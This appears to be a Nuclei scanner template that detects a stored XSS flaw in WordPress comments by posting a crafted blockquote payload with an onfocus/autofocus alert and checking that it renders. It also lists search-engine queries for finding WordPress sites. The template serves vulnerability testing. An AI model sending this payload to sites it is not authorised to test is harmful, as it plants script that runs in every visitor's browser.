WordPress core before 7.1.1 is vulnerable to unauthenticated stored XSS via crafted blockquote comments. wp_kses_post accepts a <blockquote> with a literal newline in the cite attribute, wpautop's non-quote-aware regex injects a <p> inside the cite value, and wptexturize leaves the attribute open so onfocus/autofocus land on <code> as real HTML attributes, giving zero-click stored XSS. Only triggers when comments are open and auto-approved.
id: CVE-2026-93485
info:
name: WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell)
author: DhiyaneshDk
severity: high
description: |
WordPress core before 7.1.1 is vulnerable to unauthenticated stored XSS via crafted blockquote comments. wp_kses_post accepts a <blockquote> with a literal newline in the cite attribute, wpautop's non-quote-aware regex injects a <p> inside the cite value, and wptexturize leaves the attribute open so onfocus/autofocus land on <code> as real HTML attributes, giving zero-click stored XSS. Only triggers when comments are open and auto-approved.
impact: |
An unauthenticated attacker can store JavaScript in WordPress comments that executes automatically (zero-click) in every visitor's browser on affected pages.
remediation: |
Update WordPress to 7.1.1 or a backport release (7.0.5+, 6.9.8+, 6.8.9+, down to 4.7.36+), which makes wpautop's blockquote regex quote-aware.
reference:
- https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
- https://github.com/686f6c61/POC-WP-CORE-CVE-2026-93485
- https://github.com/DeathShotXD/Comment2Shell
- https://www.cve.org/CVERecord?id=CVE-2026-93485
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2026-93485
epss-score: 0.0076
epss-percentile: 0.55551
cwe-id: CWE-79
metadata:
verified: true
max-request: 3
vendor: wordpress
product: wordpress
framework: wordpress
fofa-query: body="wp-content" && body="wp-json"
shodan-query: http.html:"wp-json" http.html:"WordPress"
google-query: inurl:"/wp-json/wp/v2/"
tags: cve,cve2026,wordpress,xss,stored-xss,comment2shell,unauthenticated,intrusive,vkev
variables:
marker: "{{randstr}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-json/wp/v2/posts?per_page=20&_fields=id,comment_status&orderby=date&order=desc HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"comment_status":"open"'
internal: true
- type: status
status:
- 200
internal: true
extractors:
# pick the first post that actually accepts comments, not just the newest
- type: json
name: post_id
part: body
json:
- '[.[] | select(.comment_status=="open")][0].id'
internal: true
- raw:
- |
POST /wp-comments-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}/?p={{post_id}}
Connection: close
comment=%3Cblockquote+cite%3D%22a%0Ab%22%3E%3Ccode%3Ex%22+onfocus%3Dalert%28document.domain%29+autofocus+tabindex%3D0%3C%2Fcode%3E%3C%2Fblockquote%3E+{{marker}}&author=nuclei-xss-test&email=test%40example.com&url=&comment_post_ID={{post_id}}&comment_parent=0
matchers:
- type: status
status:
- 302
internal: true
- raw:
- |
GET /?p={{post_id}} HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '<blockquote[^>]*cite="[^"]*<p>'
- type: word
part: body
words:
- "{{marker}}"
- type: status
status:
- 200
# digest: 4a0a00473045022100e00caa0e16eee5754ee59cd38f9ae7e399d31456bba36066446f388c1e6337f302204c0949959b1b2cd703a63d4012a8804bf6968e5a797826b63ff1f5df87ebb81d:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.